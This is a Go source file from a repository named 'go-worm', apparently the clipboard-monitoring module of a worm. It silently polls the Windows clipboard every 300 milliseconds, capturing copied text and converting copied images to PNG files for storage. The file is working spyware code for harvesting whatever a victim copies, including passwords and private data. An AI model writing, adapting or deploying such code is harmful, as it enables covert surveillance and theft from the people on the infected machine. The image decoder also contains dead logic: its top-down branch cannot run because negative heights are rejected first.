Files
go-worm/lib/clipmon/monitor_windows.go
T

235 lines
5.4 KiB
Go
Raw Normal View History

//go:build windows
package clipmon
import (
"bytes"
"encoding/binary"
"image"
"image/color"
"image/png"
"strings"
"syscall"
"time"
"unsafe"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
const (
cfBitmap = 2
cfDIB = 8
cfUnicodeText = 13
)
var (
user32 = syscall.NewLazyDLL("user32.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procOpenClipboard = user32.NewProc("OpenClipboard")
procCloseClipboard = user32.NewProc("CloseClipboard")
procGetClipboardData = user32.NewProc("GetClipboardData")
procIsClipboardFormatAvailable = user32.NewProc("IsClipboardFormatAvailable")
procGetClipboardSequenceNumber = user32.NewProc("GetClipboardSequenceNumber")
procGlobalLock = kernel32.NewProc("GlobalLock")
procGlobalUnlock = kernel32.NewProc("GlobalUnlock")
procGlobalSize = kernel32.NewProc("GlobalSize")
)
type bitmapInfoHeader struct {
Size uint32
Width int32
Height int32
Planes uint16
BitCount uint16
Compression uint32
SizeImage uint32
XPelsPerMeter int32
YPelsPerMeter int32
ClrUsed uint32
ClrImportant uint32
}
func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
go func() {
defer close(done)
defer helpers.RecoverLog("clipmon-poll")
pollClipboard(w, stop)
}()
return nil
}
func pollClipboard(w *Writer, stop <-chan struct{}) {
lastSeq := sequenceNumber()
ticker := time.NewTicker(300 * time.Millisecond)
defer ticker.Stop()
for {
select {
case <-stop:
return
case <-ticker.C:
seq := sequenceNumber()
if seq == lastSeq {
continue
}
lastSeq = seq
captureClipboard(w)
}
}
}
func sequenceNumber() uint32 {
n, _, _ := procGetClipboardSequenceNumber.Call()
return uint32(n)
}
func captureClipboard(w *Writer) {
ok, _, _ := procOpenClipboard.Call(0)
if ok == 0 {
return
}
defer procCloseClipboard.Call()
if text, ok := readClipboardText(); ok && strings.TrimSpace(text) != "" {
emit(Event{Kind: "text", Text: TrimText(text)})
}
if pngData, ok := readClipboardImage(); ok {
rel, err := w.SavePNG(pngData)
if err != nil {
return
}
emit(Event{Kind: "image", ImagePath: rel})
}
}
func readClipboardText() (string, bool) {
ok, _, _ := procIsClipboardFormatAvailable.Call(cfUnicodeText)
if ok == 0 {
return "", false
}
handle, _, _ := procGetClipboardData.Call(cfUnicodeText)
if handle == 0 {
return "", false
}
ptr, _, _ := procGlobalLock.Call(handle)
if ptr == 0 {
return "", false
}
defer procGlobalUnlock.Call(handle)
size, _, _ := procGlobalSize.Call(handle)
if size == 0 {
return "", false
}
data := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), size/2)
for i, unit := range data {
if unit == 0 {
return syscall.UTF16ToString(data[:i]), true
}
}
return syscall.UTF16ToString(data), true
}
func readClipboardImage() ([]byte, bool) {
if dib, ok := readClipboardDIB(); ok {
return dib, true
}
return readClipboardBitmap()
}
func readClipboardDIB() ([]byte, bool) {
ok, _, _ := procIsClipboardFormatAvailable.Call(cfDIB)
if ok == 0 {
return nil, false
}
handle, _, _ := procGetClipboardData.Call(cfDIB)
if handle == 0 {
return nil, false
}
ptr, _, _ := procGlobalLock.Call(handle)
if ptr == 0 {
return nil, false
}
defer procGlobalUnlock.Call(handle)
size, _, _ := procGlobalSize.Call(handle)
if size == 0 {
return nil, false
}
raw := unsafe.Slice((*byte)(unsafe.Pointer(ptr)), size)
return dibToPNG(append([]byte(nil), raw...))
}
func readClipboardBitmap() ([]byte, bool) {
ok, _, _ := procIsClipboardFormatAvailable.Call(cfBitmap)
if ok == 0 {
return nil, false
}
// ponytail: CF_BITMAP needs a DC to read pixels; most apps also publish CF_DIB
return nil, false
}
func dibToPNG(raw []byte) ([]byte, bool) {
if len(raw) < int(unsafe.Sizeof(bitmapInfoHeader{})) {
return nil, false
}
var header bitmapInfoHeader
if err := binary.Read(bytes.NewReader(raw), binary.LittleEndian, &header); err != nil {
return nil, false
}
if header.Size < uint32(unsafe.Sizeof(bitmapInfoHeader{})) || header.BitCount != 24 && header.BitCount != 32 {
return nil, false
}
width := int(header.Width)
height := int(header.Height)
if width <= 0 || height <= 0 || width > 8192 || height > 8192 {
return nil, false
}
topDown := false
if height < 0 {
topDown = true
height = -height
}
headerSize := int(header.Size)
colorTable := int(header.ClrUsed) * 4
if header.BitCount <= 8 && header.ClrUsed == 0 {
colorTable = (1 << header.BitCount) * 4
}
offset := headerSize + colorTable
if offset > len(raw) {
return nil, false
}
pixels := raw[offset:]
stride := ((width*int(header.BitCount) + 31) / 32) * 4
if len(pixels) < stride*height {
return nil, false
}
img := image.NewRGBA(image.Rect(0, 0, width, height))
bytesPerPixel := int(header.BitCount) / 8
for y := 0; y < height; y++ {
srcY := y
if !topDown {
srcY = height - 1 - y
}
row := pixels[srcY*stride:]
for x := 0; x < width; x++ {
i := x * bytesPerPixel
if i+2 >= len(row) {
continue
}
b, g, r := row[i], row[i+1], row[i+2]
a := uint8(255)
if bytesPerPixel == 4 && i+3 < len(row) {
a = row[i+3]
}
img.SetRGBA(x, y, color.RGBA{R: r, G: g, B: b, A: a})
}
}
var out bytes.Buffer
if err := png.Encode(&out, img); err != nil {
return nil, false
}
return out.Bytes(), true
}